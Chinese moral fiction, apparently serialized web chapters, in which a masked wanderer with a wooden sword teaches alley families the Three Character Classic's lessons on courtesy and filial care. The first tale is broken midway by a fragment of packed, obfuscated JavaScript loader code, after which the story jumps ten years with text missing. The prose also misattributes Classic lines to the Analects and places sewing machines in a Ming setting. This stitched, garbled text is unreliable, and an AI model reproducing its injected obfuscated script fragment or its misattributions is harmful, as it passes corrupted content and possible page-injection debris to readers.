巷尾是杀猪的郑家。郑屠户一脸横肉,声如洪钟,整条巷子都怕他三分。他儿子郑小刀,今年十四,生得和爹一个模子,性子却是个“两面人”——在爹面前乖得像猫,出了门就变成狼。前几日偷了王铁匠家的铁条去卖,被当场抓住。郑屠户知道了,拎着杀猪刀追了半条街,最后还是郑小刀他娘哭着拦下:“孩子还小,懂什么!”郑屠户把刀一扔:“小?老子十四岁都杀猪了!” 这是天启三年的春分,燕子巷口的柳树才抽出嫩芽。三户人家的灶烟混在一处,和着炊饼香、猪油味、浆糊气,搅成一团黏糊糊的市井气息。 一、 炊饼铺的小霸王 孙大膀子这日生意格外好,辰时未到,两炉炊饼已卖光了。他正哼着小调揉第三炉面,摊前来了个人。 来人戴着一顶极寻常的竹笠,笠檐压得很低。身上是件半旧的月白棉布袍,洗得发白,袖口肘部都打着同色的补丁,针脚细密。腰间用草绳系着一柄木剑,剑身无饰,只被手摩挲得温润。面上蒙着方灰布,布是粗纱,能隐约看见鼻梁的轮廓。 “掌柜的,来两个炊饼,要刚出炉的。”声音平平的,听不出年纪。 孙大膀子应了声,用油纸包了两个递过去。那人却不接,只问:“刚才那孩子,是掌柜的公子?” 孙大膀子顺他目光看去——巷子那头,孙小饼正骑在一个半大孩子身上,抡着拳头。周围几个孩子远远看着,不敢上前。 “嗨,小孩子闹着玩……”孙大膀子干笑。 “闹着玩?”那人语气还是平的,“我数到十,那孩子鼻血就流下来了。这叫闹着玩?” 孙大膀子脸上挂不住,喊了一嗓子:“小饼!回来!” 孙小饼回头看一眼,又补了一拳,才拍拍手站起来,大摇大摆走过来。那挨打的孩子哭着跑了。 “爹,啥事?”孙小饼满不在乎。 孙大膀子还没开口,那人先说了:“小兄弟,你今年十几?” “十三!怎的?” “十三,不小了。”那人从怀里摸出三个铜板,排在案板上,“为人子,方少时。亲师友,习礼仪——这十二个字,可会写?” 孙小饼一愣,嗤笑:“写那劳什子作甚?能当炊饼吃?” “不能当炊饼吃。”那人慢慢地说,“但能让你知道,为什么不能骑在人身上打拳头。” 孙大膀子脸上红一阵白一阵,搓着手:“这位客官,孩子还小,不懂事……” “小才要教。”那人转过脸来——虽然蒙着布,可孙大膀子觉得那目光像针,扎得人难受,“等大了,骑在人身上抢刀子,你再教,就晚了。” 这时孙小饼伸手去拿案板上的铜板,那人手一翻,扣住他手腕。孙小饼挣了两下,竟纹丝不动。 “你、你放手!” “我教你个礼。”那人声音很轻,“想要别人的东西,得说‘请’。拿了,得说‘谢’。这是三岁孩子都该懂的。你十三了,不懂,我教你。” 孙小饼脸涨得通红,想骂,手腕却像被铁钳钳着,疼得冒汗。 “说,请。”那人手上加了一分力。 “请、请……”孙小饼从牙缝里挤出来。 那人松开手,把铜板推过去:“说,谢。” “……谢。” “好。”那人点点头,转向孙大膀子,“掌柜的,为人父,方养子。子不教,父之过——这十二个字,可明白?” 孙大膀子张了张嘴,没说出话。 “今日子骑人打,你不管;来日刀捅人,你管不管?”那人顿了顿,“等他戴了枷锁游街,你哭着说‘孩子还小’,可还有人听?” 这话像一盆冷水,浇得孙大膀子浑身发凉。他想起前街刘家的独子,也是从小霸道,去年为争一个妓女,一刀捅死了人,秋后问斩。刘老婆子哭瞎了眼,现在还在城隍庙要饭。 “我……”孙大膀子喉咙发干。 那人从袖中取出一卷纸,展开,是《三字经》里那几句: 为人子,方少时。亲师友,习礼仪。 “贴在灶头,日日看。看明白了,教儿子。教不会,我再来。”说完,拿起炊饼,转身走了。 孙大膀子捏着那卷纸,手有些抖。孙小饼揉着手腕,嘟囔:“什么人啊,多管闲事……” “闭嘴!”孙大膀子忽然吼了一嗓子。 孙小饼吓一跳——他爹从没这么吼过他。 那天晚上,孙家的炊饼卖得心不在焉。孙大膀子把那十二个字贴在灶头,一边揉面,一边看。面揉好了,字也看进心里去了。 “为人子,方少时。亲师友,习礼仪……”他喃喃念着,忽然抬手给了自己一巴掌。 孙小饼在里屋听见响动,探出头:“爹,咋了?” 孙大膀子红着眼睛:“儿子,过来。爹……爹教你认字。” 二、 裁缝铺的闷葫芦 周裁缝这日接了个急活,西街张员外家要做春衫,催得紧。他正埋头踩缝纫机,铺子门吱呀一声开了。 还是那个戴竹笠、蒙灰布、悬木剑的人。 “掌柜的,补个袖子。”那人递过一件袍子,左边袖肘磨破了。 周裁缝接过来,一看那针脚,愣了——这补丁打得,比他这个二十年的老裁缝还好。针脚细密均匀,走线平直,破处还绣了圈云纹,不仔细看都看不出是补的。 “客官这手艺……”周裁缝抬头。 “手艺是小事。”那人自己拉了条凳子坐下,“掌柜的,刚才在门口哭的那孩子,是你家的?” 周裁缝手一颤,针扎了指头。他瞥了眼里屋——周小剪正蹲在墙角,肩膀一耸一耸的。 “是、是犬子……” “为什么哭?” 周裁缝叹口气,把油铺伙计泼油、周婶子骂儿子的事说了。说完又补一句:“孩子娘就那脾气,其实心是好的……” “心好,就可以骂得孩子抬不起头?”那人站起来,走到里屋门口,蹲下身,和周小剪平视,“小兄弟,挨欺负了?” 周小剪抬起泪眼,看见一方灰布,愣了愣,点头。 “挨欺负了,怎么办?” 周小剪摇头。 “我教你。”那人声音很温和,“第一,告诉爹娘。第二,告诉先生。第三,告诉里正。这是礼——不是软弱,是讲理。” 周小剪小声说:“娘说,告状是窝囊废……” “那你娘有没有说,什么是窝囊废?” 周小剪摇头。 “窝囊废是挨了欺负不敢吭声,回家拿更弱的人撒气。”那人顿了顿,“你看巷口卖炊饼的孙小饼,他欺负人,那是浑。你挨欺负不吭声,那是懦。浑和懦,都不是礼。礼是什么?礼是堂堂正正,不欺负人,也不让人欺负。” 周裁缝在门外听着,手里的针再也扎不下去了。 “可、可我不知道怎么说……”周小剪声音更小了。 “我教你。”那人从怀里又摸出一卷纸,还是那十二个字: 为人子,方少时。亲师友,习礼仪。 “认得字么?” 周小剪点头——他爹教过。 “念一遍。” “为、为人子,方少时。亲师友,习礼仪。” “对。”那人指着“亲师友”三个字,“师,是教你本事的人。友,是和你做伴的人。亲师友,就是敬重师长,善待朋友。你被欺负了,可以告诉师长,可以告诉朋友。这是礼数,不是告状。” 他又指着“习礼仪”:“礼,是规矩。仪,是样子。习礼仪,就是学规矩,学做人该有的样子。不是学窝囊,是学堂堂正正。” 周小剪看着那十二个字,眼睛慢慢亮了。 这时周婶子买菜回来,看见生人,眉头一皱:“这位是……” “过路的。”那人站起来,对周裁缝说,“袖子不必补了。掌柜的,你儿子是块好料,别让人骂废了。为人父,方教子。子不立,父之惰。” 又对周婶子点点头:“大嫂,孩子是树苗,骂是寒风,吹多了,苗就蔫了。要浇水,要施肥,要让他见太阳。” 说完,推门出去了。 周婶子愣在当场。周裁缝捏着那件袍子,看着儿子慢慢站起来,擦了眼泪,忽然说:“爹,我想学裁缝。” “学、学裁缝?” “嗯。学好了手艺,将来开铺子,不让人欺负。”周小剪说,声音不大,但很清晰。 周裁缝鼻子一酸,重重点头:“好,爹教你。” 那天夜里,周家缝纫机响到很晚。周婶子破天荒没唠叨,还炒了盘鸡蛋。十二个字贴在裁缝铺的墙上,油灯下,墨迹亮晶晶的。 三、 肉铺的两面人 郑屠户这日杀了头肥猪,正在案上分肉。那把杀猪刀磨得锃亮,一刀下去,骨肉分离。郑小刀在旁边打下手,递个钩子,接个盆,手脚麻利得很。 “爹,这块后腿肉肥,留着自己吃吧?” “留个屁!王掌柜订了,一会儿来取。”郑屠户抹了把汗,“你小子,昨天是不是又偷懒了?让你磨刀,磨的什么玩意儿!” 郑小刀缩缩脖子,没敢吭声。 这时肉铺前来了一人,竹笠,灰布蒙面,粗布袍,木剑。 “掌柜的,来二斤五花,要三层。” 郑屠户应了声,手起刀落,一块肥瘦相间的五花肉,上秤一称,二斤整,不多不少。 “好刀工。”那人赞了一句。 郑屠户脸上露出点笑模样:“客官识货。” 那人付了钱,却不走,看着郑小刀:“小兄弟,多大了?” “十四。”郑小刀有点警惕。 “十四,不小了。”那人顿了顿,“我十四岁时,已经走南闯北了。” 郑小刀眼睛一亮:“走南闯北?你都去过哪儿?” “东到海,西到漠,南到瘴,北到雪。”那人说,“见过山贼杀人越货,也见过镖师仗义疏财;见过贪官欺压百姓,也见过清官为民请命。见得多了,就知道一件事——” 他看向郑屠户:“掌柜的,你这把刀,是杀猪的。可有些人手里的刀,是杀人的。” 郑屠户手上动作停了。 “杀猪的刀,见血是为了生计。杀人的刀,见血是为了私欲。”那人声音很平,但每个字都像砸在肉案上,“可刀都是刀,用刀的人,得分清什么时候该见血,什么时候该入鞘。” 郑小刀听愣了。 郑屠户盯着那人:“客官到底想说什么?” “说你的刀,和你的儿子。”那人指着郑小刀,“他在你面前,是绵羊。出了这门,是豺狼。前日偷铁条,昨日欺邻家幼童,今日在学堂打同窗——这些,掌柜的不知道吧?” 郑屠户脸色变了,看向儿子:“他说的是真的?” 郑小刀脸煞白,往后退。 “不必问他,问我。”那人从怀里又摸出一卷纸,展开,还是那十二个字: 为人子,方少时。亲师友,习礼仪。 “为人子,方少时——正是学规矩的时候。亲师友,习礼仪——师长要敬,朋友要亲,规矩要学。可掌柜的你教了他什么?教他杀猪,教他耍横,教他在你面前装乖,出了门就作恶。” 郑屠户额头青筋暴起,一把抓起杀猪刀:“你!” 刀尖离那人咽喉只有三寸。那人动都没动,只看着郑屠户的眼睛:“这把刀,你用来杀猪,是天经地义。用来吓唬人,是恃强凌弱。用来教儿子——是教他,刀可以解决一切。” 他缓缓抬起手,用两根手指捏住刀尖,轻轻移开。 “我十四岁那年,师父也给我一把刀。他说,刀是凶器,也是器具。用来护人,是侠;用来伤人,是贼。你选哪个?” 郑屠户的手在抖。 “你儿子现在,正在贼的路上走。”那人转向郑小刀,“小兄弟,你爹这把刀,杀了三十年猪,没伤过一个人。你呢?你的‘刀’还没沾人血,但已经伤了人心。等真沾了血,就回不了头了。” 郑小刀腿一软,坐倒在地。 那人把纸卷放在肉案上:“贴墙上,日日看。看明白了,教儿子。教不会——”他顿了顿,“等衙门来教,就晚了。” 这一次,他没等回答,转身走了。 郑屠户盯着那十二个字,看了很久。忽然把杀猪刀往案上一剁,刀身嗡嗡作响。 “跪下。”他说。 郑小刀扑通跪下。 “从今天起,每天早上念三遍这十二个字。念完了,跟我学杀猪。学完了,去学堂念书。”郑屠户声音沙哑,“你要敢再偷一次,再欺一次人,老子……我亲手打折你的腿。” 郑小刀哭了,是真的哭,不是装的。 那天,郑家肉铺早早收了摊。十二个字贴在肉案后的墙上,血糊糊的指印按在旁边,像一个个誓言。 四、 燕子巷的早晨 半个月后的清晨,燕子巷的井台边,三家人碰上了。 孙大膀子领着孙小饼来打水,周裁缝带着周小剪来洗衣,郑屠户押着郑小刀来冲肉案。三个孩子你看看我,我看看你,都有些尴尬。 “小饼,来。”孙大膀子推了儿子一把,“给你周叔、郑叔问好。” 孙小饼憋了半天,挤出三个字:“周叔好,郑叔好。” 周裁缝忙点头:“哎,好,好。”捅了捅儿子。 周小剪小声说:“孙伯伯好,郑伯伯好。” 郑屠户嗓门大:“都挺好!”一拍儿子后背,“愣着干啥?问好啊!” 郑小刀红着脸:“孙叔好,周叔好。” 三个大人互相看看,忽然都笑了。笑着笑着,眼眶都有点湿。 孙大膀子说:“那位白衣客官……也不知是什么人。” 周裁缝说:“是贵人。” 郑屠户说:“是恩人。” 三人打了水,各自回家。那天早晨,燕子巷格外安静,只听见孙家揉面的噗噗声,周家缝纫机的嗒嗒声,郑家冲肉案的哗哗声。 又过了半个月,巷子里出了件新鲜事——三个孩子一块儿上学堂了。 孙小饼走在前头,但不再横着走。周小剪走在中间,但不再低着头。郑小刀走在最后,但不再东张西望想坏主意。 学堂的秦先生摸着胡子点头:“孺子可教,孺子可教。” 有天放学,三个孩子一起回来。路过李寡妇家,孙小饼从书包里掏出两个炊饼,放在她家窗台上——那是他省下的午饭。周小剪把李寡妇家晒的被子重新拍了拍,拍得松松软软。郑小刀挑了两桶水,把她家水缸灌满。 李寡妇在屋里看着,眼泪吧嗒吧嗒往下掉。 又过了些日子,那个白衣人又来了燕子巷。这次他没进任何一家,只坐在巷口的柳树下,看着三个孩子在井台边一起温书。 孙小饼在教周小剪算数,郑小刀在背《论语》。背到“为人子,方少时。亲师友,习礼仪”,三个声音合在一处,脆生生的。 白衣人听了会儿,起身要走。 “先生!”郑小刀眼尖,看见了。 三个孩子跑过来,规规矩矩站成一排,拱手行礼。 白衣人点点头:“礼,学得不错。” 孙小饼大着胆子问:“先生,您到底是谁?” “过路的。” “那……那您还来么?” 白衣人想了想,从怀里掏出三枚铜钱,一人给了一枚:“好好学。等你们长大了,成了真正的人,我再来。” “什么样才是真正的人?”周小剪问。 “知礼,守义,有担当。”白衣人说,“记住,礼不是磕头作揖,是心里有别人。义不是打打杀杀,是手里有分寸。担当不是嘴上说,是肩上扛。” 他顿了顿,看着三个孩子:“你们现在,是学着做人。等真做成了,这铜钱,还我。” 说完,转身走了。白衣在柳荫里一闪,不见了。 三个孩子攥着铜钱,你看我,我看你。 “我一定会还的。”孙小饼说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他说等我们成了真正的人,就来收铜钱。”孙小饼说,“我们……算成了么?” 没人回答。窗外柳絮飘进来,落在铜钱上。 忽然,门被推开了。 还是那顶竹笠,那方灰布,那身洗白的粗布袍,那柄木剑。只是袍子更旧了,补丁更多了。 三人霍地站起来。 白衣人走到桌边,看了看铜钱,点点头:“长大了。” 孙小饼深深一揖:“先生,当年教诲,没齿难忘。” 周小剪、郑小刀也跟着行礼。 白衣人摆摆手,坐下,自己倒了杯酒:“说说,这十年,都学了什么。” 孙小饼先说:“我学了记账,学了待人,学了——心里有别人。前年发大水,我开了三天粥棚,没收一个钱。” 周小剪说:“我学了手艺,学了耐心,学了——手里有分寸。去年王婆家穷,我给她做了寿衣,没收工钱,还贴了布料。” 郑小刀说:“我学了刀工,学了担当,学了——肩上扛得起。上个月有伙流寇想抢肉铺,我拎着刀站在门口,他们没敢进来。” 白衣人静静听着,等三人说完,才道:“知礼,守义,有担当——你们做到了。” 他拿起一枚铜钱,摩挲着:“这铜钱,我收了。” 孙小饼忙说:“先生,等等!”他跑进里屋,捧出个木匣,打开,里面整整齐齐排着三十枚铜钱,“这是巷子里三十个孩子攒的。他们……也想还您。” 周小剪也捧出个木匣,二十枚。 郑小刀也捧出个木匣,二十五枚。 白衣人看着那三匣铜钱,看了很久。烛光在他蒙着灰布的脸上跳动,看不清表情。 “好。”他说,声音有些哑,“我都收下。” 他把所有铜钱收进一个布袋,系在腰间,起身。 “先生!”三人齐声。 白衣人在门口回头。 “您……您到底是谁?”孙小饼问。 “我?”他想了想,说,“我是个收铜钱的。” “那……我们还能再见您么?” “等你们的孩子长大了,教他们知礼、守义、有担当。等他们做到了,我再来收铜钱。” 门开了,春夜的凉风灌进来。柳絮在风里打着旋,像一场温柔的雪。 三人追出去,巷子里空荡荡的,只有井台边的柳树下,似乎有个白衣的影子,一闪,不见了。 他们走回屋,看着空了的桌子。忽然,孙小饼说:“你们说,先生收那么多铜钱,做什么用?” 没人知道。 很多年后,燕子巷变成了燕子街,三家的铺子都成了老字号。巷子口立了块碑,不是石碑,是木碑,上面刻着十二个字: 为人子,方少时。亲师友,习礼仪。 落款是“燕子巷三户人家敬立”。 常有外乡人问:“这碑谁立的?” 巷里的老人会说:“是三个孩子立的。他们小时候啊,不懂事,后来懂了,就立了这碑。” “为的啥?” “为的让后来的孩子都懂——为人子,方少时。亲师友,习礼仪。” 春去秋来,木碑被风雨磨得光滑,但那十二个字,深深镌着,像是刻进了木头里,也刻进了时光里。 尾声燕子谣 又过了许多年,燕子巷的孩子都会唱一首童谣: 燕子巷,有三家, 孙家周家郑屠家。 为人子,方少时, 亲师友,习礼仪。 孙小饼,学记账, 周小剪,学裁衣。 郑小刀,学杀猪, 三人皆从礼仪起。 若问先生何处去, 柳树底下收铜钱。 有个游学的书生路过,听了这童谣,去问孙家炊饼店的老掌柜——当年的孙小饼,如今已鬓发斑白。 “老丈,这童谣里的先生,究竟是何方高人?” 孙小饼正在揉面,闻言停下手,望着窗外那棵老柳树。 “是个白衣人。”他说。 “白衣人?是儒生?是侠客?还是神仙?” 孙小饼笑了:“是教人做人的人。” “那铜钱……” “铜钱啊。”孙小饼从怀里摸出一枚铜钱,摩挲着,“是债,也是诺。欠了礼,要还。许了诺,要守。” 书生似懂非懂。临走时,他买了一包炊饼,孙小饼多给了他一个。 “这个不收钱。”孙小饼说,“给路上吃。” 书生道了谢,走出巷子。回头时,看见孙小饼还站在店门口,望着那棵柳树。春风吹过,柳絮满天,像一场迟迟不化的雪。 他忽然想起童谣的最后两句: 若问先生何处去, 柳树底下收铜钱。 可柳树下空荡荡的,只有一口老井,井台上青苔斑驳。 也许那位先生,正在某个地方,等着收下一批铜钱吧。书生想。 他咬了口炊饼,很香,有麦子的甜味,也有人间的暖意。 本章诫世 一、 少礼二训 - 为人子,方少时 - 亲师友,习礼仪 - 破解法:为人父母,自问“可教子以礼?可正子之行?”;为人师长,自问“可授徒以礼?可端徒之品?” 二、 三家三失 - 孙家失于“纵”——纵子行凶,不教以礼 - 周家失于“懦”——教子畏缩,不立其骨 - 郑家失于“暴”——教子以暴,不导以和 - 惕世:多少父母纵子成霸?多少父母挫子成懦?多少父母教子以暴?皆失礼也 三、 习礼大道 - 深层隐喻:礼如春雨,润物无声。教子以礼,如植苗培根,根正苗直,自可参天 - 终极指向:治国平天下,在正人心。正人心,在明礼仪。人无礼不立,家无礼不和,巷无礼不宁 少礼偈: 燕子巷里三人家,纵子懦子暴子差。 孙家纵子成小霸,不教礼仪任行凶。 周家挫子成懦夫,不立其骨任人欺。 郑家教子以暴虐,不导以和任横蛮。 三家迷途不自知,白衣点破礼仪篇。 十年教化方成器,三人皆从礼仪起。 后世叹: 为人子,方少时,亲师友,习礼仪。 孙家纵子不教礼,周家挫子不立骨。 郑家教子唯以暴,三家迷途各倒颠。 白衣现身燕子巷,点破礼仪十年功。 正是: 市井巷陌三人家,教子无方各有差。 孙纵周懦郑施暴,皆因少时不习礼。 白衣点破礼仪道,十年教化成效奇。 为人子兮方少时,亲师友兮习礼仪。 88.温席谳 楔子·三家不温 西水门外有条青石巷,巷窄而曲,住的多是些穷苦人家。腊月里,北风一吹,家家户户门窗紧闭,唯闻檐下冰棱子叮当响。 巷口第三家是糊灯笼的王家。老王头今年六十有二,祖传的灯笼手艺,可这年景,谁有闲钱买灯笼?儿子王大有是个挑夫,每日鸡叫头遍就得出门,到码头扛活,夜半方归。大有一去,家里就剩老王头和五岁的孙子小栓。小栓这孩子,生得虎头虎脑,却是个“小冰坨”——老王头夜里咳得背过气去,他在旁边睡得呼呼的。隔壁张婶看不过,端了碗姜汤来,说:“小栓啊,给你爷爷焐焐脚。”小栓一扭头:“冷!” 巷中间是卖炭的刘家。刘老栓比老王头还大两岁,咳了七八年,入冬就下不来炕。儿子刘二狗是个赌棍,倒是不赌钱——他赌骰子,赌牌九,赌蛐蛐,赌一切能赌的。赢了钱,买壶酒,切半斤猪头肉,自己吃了,从不管他爹。输了,就回来翻箱倒柜,把他爹攒的买药钱摸走。刘老栓躺在炕上,咳一声,骂一句:“孽障!”可有什么用?二狗耳朵里塞了驴毛。 巷尾是补鞋的赵家。老赵婆子是个瘫子,瘫了三年,全靠闺女赵巧儿伺候。巧儿今年十九,生得水灵,可就是太“水灵”了——整日描眉画眼,想着攀高枝。前街绸缎庄的李掌柜死了老婆,想续弦,托人来问。巧儿心动了,回家对她娘说:“娘,李掌柜说了,嫁过去有丫头伺候,您也能过好日子。”老赵婆子呸了一口:“丫头伺候?是嫌我拖累你吧!”巧儿眼圈一红,摔门出去了。这一去,三天没着家。 这是天佑十一年的腊月初八,俗话说“腊七腊八,冻掉下巴”。青石巷的青石上结了一层冰壳子,踩上去嘎吱嘎吱响。三家的烟囱都冒着烟,可那烟是青的,薄的,一看就是舍不得烧柴。 一、 灯笼王家的“冰坨子” 老王头这日又咳了一宿,天亮时才迷糊过去。小栓醒了,自己爬起来,从锅里摸出半个冷窝头,蹲在门槛上啃。正啃着,面前站了个人。 来人戴着一顶破毡帽,帽檐压得很低,遮了眉眼。身上是件洗得发灰的棉袍,袖口肘部都磨得起了毛,打着杂色的补丁。腰里用草绳系着,绳上挂一柄木剑,剑身被手摩挲得油亮。脸上蒙着块粗麻布,布是灰扑扑的,看不出本来的颜色。 “小兄弟,讨碗水喝。”声音哑哑的,像是被风呛的。 小栓瞥他一眼,没吱声,继续啃窝头。 那人也不恼,在门槛另一头坐下,从怀里掏出个冻得硬邦邦的馍,一点点掰着吃。吃了两口,忽然咳起来,咳得撕心裂肺,比老王头还厉害。 小栓停了啃窝头,盯着他看。 那人咳完了,喘着气说:“老了,不中用了……要是有人给焐焐背,兴许能好些。” 小栓还是不说话。 屋里老王头又咳醒了,哑着嗓子喊:“小栓……水……” 小栓像没听见。 那人站起身,进屋去。灶台上有个破瓦罐,他倒了半碗水,端到炕边,扶起老王头,一点点喂。老王头迷迷糊糊喝了,又躺下,咳声渐渐小了。 “你爷爷病得不轻。”那人走回门槛,看着小栓,“你夜里给他焐过脚么?” 小栓低头:“……冷。” “冷?”那人笑了,笑声也是哑的,“香九龄,能温席。你几岁了?” “……五岁。” “五岁,不小了。”那人顿了顿,“我认识个孩子,也五岁。他娘病了,他夜里把他娘的脚抱在怀里,用自己的肚子焐。问他为什么,他说,娘脚冷,我肚子热。” 小栓瞪大眼睛。 “还有个孩子,六岁。他爹伤了腿,他每天烧了热水,给爹烫脚。烫完了,用布包着,抱在怀里暖着,等爹睡着了才松开。” 小栓不说话了。 “香九龄,能温席。孝于亲,所当执。”那人慢慢念出这两句,“意思是,有个叫黄香的孩子,九岁就知道冬天给爹娘暖被窝。孝顺爹娘,是天经地义的事,就该这么做。” 他看向小栓:“你爷爷咳了一宿,你听见了么?” 小栓点点头。 “听见了,为什么不管?” “……我睡着了。” “是真睡着了,还是装没听见?” 小栓脸红了,手里的窝头掉在地上。 那人捡起窝头,拍了拍灰,递还给他:“你爹每天挑担子,肩膀磨出血,为了谁?你爷爷咳出血,还强撑着糊灯笼,为了谁?” 小栓的眼泪吧嗒吧嗒往下掉。 “冷,是吧?”那人从怀里掏出个铜手炉,塞进小栓手里,“这个给你。夜里装了炭,放在爷爷脚头。炭,我一会儿给你。” 小栓攥着手炉,铜的,还带着那人的体温。 “我……我不会生火。” “我教你。”那人站起身,“去,给你爷爷磕个头,说你知道错了。” 小栓站起来,走到炕边,看着爷爷蜡黄的脸,忽然“哇”一声哭了,跪下来“咚咚咚”磕了三个响头:“爷爷,我错了!我以后夜里给您焐脚,我给您倒水,我……” 老王头醒了,老泪纵横,摸着孙子的头:“好孩子,好孩子……” 那人站在门口,看着。等小栓哭完了,才说:“走,教你生火。” 那天,王家的烟囱冒出了浓浓的、白生生的烟。小栓学会了生火,学会了装手炉,学会了烧热水。夜里,他抱着爷爷的脚,脚是冰的,他的手是热的。爷爷摸着他的头,说:“小栓长大了。” 小栓说:“爷爷,我以后天天给您焐脚。” 老王头笑了,笑着笑着,又咳起来。小栓赶紧爬起来,端水,捶背。月光从破窗棂照进来,照着一老一小,影子贴在墙上,暖暖的。 二、 卖炭刘家的“白眼狼” 刘二狗这日手气好,赢了三百文。他拎着壶酒,哼着小曲往回走。刚到巷口,被人拦住了。 还是那顶破毡帽,那身灰棉袍,那块麻布蒙着脸。 “兄弟,讨口酒喝。”那人说。 刘二狗心情好,把酒壶递过去。那人接过,仰脖灌了一大口,辣得直咧嘴。 “好酒!”他抹抹嘴,“兄弟这是赢了钱?” “嘿嘿,手气壮!”刘二狗得意。 “赢了钱,给爹买点啥?” 刘二狗脸一沉:“你谁啊?管得着么?” “我是谁不重要。”那人指了指刘家的破门,“重要的是,你爹躺在炕上,咳了七八年,你这当儿子的,给他买过一回药么?” 刘二狗恼了:“关你屁事!那是老不死的……” “啪!” 一记耳光,结结实实扇在刘二狗脸上。不重,但脆,脆得整条巷子都听见了。 刘二狗愣了,酒壶掉在地上,碎了。他瞪着眼,想还手,可看着那人蒙着布的脸,不知怎的,心里有点发毛。 “这一巴掌,是替你爹打的。”那人声音很冷,“他不舍得打你,我打。” 刘二狗捂着脸,说不出话。 “香九龄,能温席。孝于亲,所当执。”那人一字一句,“你今年多大?” “……三十。” “三十了,爹病了八年,你管过一天么?赢了钱,自己喝酒;输了钱,偷爹的药钱。你爹咳出血的时候,你在赌;你爹冻得哆嗦的时候,你在喝。你是人么?” 刘二狗脸涨得通红,想骂,喉咙里像塞了棉花。 “你不孝,天在看。”那人指着天,“腊月天,你爹的炕是冷的,你的心是冷的。等你老了,病了,躺在炕上,你儿子也这样对你,你什么滋味?” 刘二狗浑身一颤。 那人从怀里掏出个布包,打开,是几块碎银子,约莫二三两。 “这是我全部家当。”他说,“给你。去给你爹抓药,买炭,把炕烧热。剩下的,买点肉,熬点粥,喂你爹吃。” 刘二狗不敢接。 “拿着!”那人把银子塞进他手里,“今夜,你去你爹炕上睡。你爹睡里头,你睡外头,给他焐脚。他咳,你给他捶背;他要水,你给他倒。做得到,明日此时,我再来。做不到——” 他顿了顿,声音像冰:“我把你另一半边脸也打肿。” 说完,转身走了。 刘二狗捏着那包银子,站在风里,站了很久。酒壶的碎片在脚边,酒洒了一地,渗进青石缝里,像眼泪。 他推开门,屋里冷得像冰窖。他爹缩在炕角,盖着床破被,咳得浑身发抖。 “爹……”刘二狗喊了一声,声音是哑的。 刘老栓没应,只是咳。 刘二狗把银子放在炕沿,转身出去。半个时辰后,他回来了,背着一筐炭,手里拎着药包,还有半斤肉。 他生火,烧炕,熬药。炕热了,屋里有了暖意。他扶起爹,一勺一勺喂药。爹不喝,他就跪下了:“爹,我错了,我错了……” 刘老栓看着他,浑浊的老眼里滚出两行泪。 那天夜里,刘二狗真的睡在爹的炕上。爹的脚是冰的,他抱在怀里,焐着。爹咳,他起来捶背;爹要水,他起来倒。一夜没合眼。 天快亮时,爹睡着了,呼吸均匀。刘二狗看着爹花白的头发,看着爹枯瘦的手,忽然想起小时候,爹也是这样抱着他,他发烧,爹一夜没睡。 他哭了,哭得像个孩子。 三、 补鞋赵家的“攀高枝” 赵巧儿这日回来了,穿了一身新衣裳,粉缎子小袄,葱绿裙子,头上插了根银簪子。她是坐着李掌柜的马车回来的,马车停在巷口,她自己走回来,一步三摇。 老赵婆子躺在炕上,听见门响,没睁眼。 “娘,我回来了。”巧儿声音脆生生的。 老赵婆子还是没睁眼。 巧儿把一包点心放在炕头:“李掌柜给的,您尝尝。” “拿走。”老赵婆子开口,声音是哑的。 “娘……” “我说,拿走!”老赵婆子睁开眼,眼里全是血丝,“我闺女死了,我没闺女了。这点心,喂狗吧。” 巧儿眼圈一红:“您说什么呢!我是为咱们好!李掌柜说了,嫁过去,您搬过去住,有丫头伺候……” “伺候?”老赵婆子笑了,笑出眼泪,“我是瘫子,是累赘。你攀了高枝,甩了我这累赘,多好!” “娘!”巧儿跺脚。 “别叫我娘!”老赵婆子别过脸去,“你走吧。从今往后,我没你这闺女。” 巧儿哭了,转身就跑。跑到门口,撞在一个人身上。 还是那顶破毡帽,那身灰棉袍,那块麻布。 “姑娘,哭什么?”那人问。 巧儿抬头,看见蒙着的脸,吓了一跳,后退两步。 “我、我没事……”她抹了把泪,想绕开。 “你娘瘫了几年了?”那人忽然问。 巧儿一愣:“三、三年……” “三年,你伺候了三年,不容易。”那人顿了顿,“可三年,就厌了?” 巧儿脸一白:“我没有!” “没有,为什么三天不着家?为什么穿这身衣裳回来?为什么想嫁那个李掌柜?”那人声音很平,可字字都像针,“因为他有钱?因为嫁过去不用伺候瘫子娘?” 巧儿浑身发抖:“你、你胡说!” “我胡说?”那人笑了,“香九龄,能温席。孝于亲,所当执。你几岁了?” “……十九。” “十九了,还不如一个九岁的孩子。”他叹口气,“黄香九岁,就知道冬天给爹娘暖被窝。你十九岁,却想着甩了你娘,去过好日子。你的心,是石头做的么?” 巧儿哭了,是真哭,不是装的。 “李掌柜今年五十有二,死了三个老婆。你嫁过去,是第四个。他图你年轻,你图他有钱。等你不年轻了,他再娶第六个、第七个。你呢?那时候,你娘早不在了,你连哭的地方都没有。” 巧儿瘫坐在地上,新衣裳沾了灰。 “你娘瘫了三年,你伺候了三年,苦,我知道。”那人声音软下来,“可这世上,有些苦,必须吃。有些累,必须扛。因为那是你娘,生你养你的娘。” 他从怀里掏出个小瓷瓶,放在地上。 “这是止痛的药膏,给你娘揉膝盖。她夜里疼,你给她揉,揉到她睡着。做得到,明日此时,我再来。做不到——” 他顿了顿:“你就嫁吧。嫁了,这辈子,你就没娘了。” 说完,他走了,破毡帽在风里一颤一颤。 巧儿坐在地上,哭了很久。哭完了,她爬起来,打水,洗脸,把新衣裳换下来,穿上旧布衫。她走进屋,跪在炕前。 “娘,我错了。” 老赵婆子没睁眼,可眼泪从眼角流下来。 巧儿掀开被子,娘的膝盖肿得发亮。她倒出药膏,在手心里焐热了,轻轻揉上去。娘哆嗦了一下。 “娘,疼么?” “不疼……”老赵婆子说,声音是哑的。 巧儿揉着,揉着,眼泪又掉下来,掉在娘的膝盖上。娘伸出手,摸着她的头。 “巧儿……” “娘,我不嫁了。我伺候您一辈子。” 那天夜里,巧儿真的睡在娘身边。她抱着娘的脚,脚是冰的,她焐着。娘疼,她给揉。娘要起夜,她扶着。一夜没合眼。 天快亮时,娘睡着了。巧儿看着娘花白的头发,看着娘瘦得脱形的脸,忽然想起小时候,娘也是这样抱着她,她发烧,娘一夜没睡。 她哭了,但没出声,只是眼泪一直流,流进嘴里,咸咸的。 四、 青石巷的暖 腊月廿三,小年。青石巷里飘出炖肉的香味。 